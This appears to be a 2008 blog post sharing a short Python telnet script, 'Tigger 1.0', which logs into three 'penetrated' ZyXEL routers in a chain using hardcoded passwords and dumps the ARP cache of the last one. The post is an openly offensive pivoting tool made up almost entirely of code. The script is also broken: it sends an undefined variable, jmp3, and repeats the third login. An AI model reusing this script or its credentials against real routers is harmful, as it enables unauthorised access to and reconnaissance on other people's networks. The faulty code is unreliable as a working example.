Tuesday 22 July 2008

Tigger Bounce

[code]
#Tigger 1.0 written by NOVA
#
#This script will allow you to bounce through 3 penetrated zyxell routers. and display the arp cache of the last system.
#Just edit the required data such as HOST and Passwords

import socket
import getpass
import sys
import telnetlib

#Place systems here
HOSTA = "192.168.0.1"
PASSA = "LLUcpe99\n"

HOSTB = "192.168.0.2"
PASSB = "LLUcpe99\n"

HOSTC = "192.168.0.3"
PASSC = "LLUcpe99\n"

PORT = "23"
tn = telnetlib.Telnet(HOSTA)

#RAS Commands

jmp1 = "ip telnet "+HOSTB+" "+PORT+"\n"
jmp2 = "ip telnet "+HOSTC+" "+PORT+"\n"

#Connect to 1st router.
print tn.read_until("Password: ")
tn.write(PASSA)
print tn.read_until("ras>")
tn.write(jmp1)

#Connect to second router.
print tn.read_until("Password: ")
tn.write(PASSB)
print tn.read_until("ras>")
tn.write(jmp2)

#Connect to third system.
print tn.read_until("Password: ")
tn.write(PASSC)
print tn.read_until("ras>")
tn.write(jmp3)

print tn.read_until("Password: ")
tn.write(PASSC)
print tn.read_until("ras>")
tn.write("ip arp status")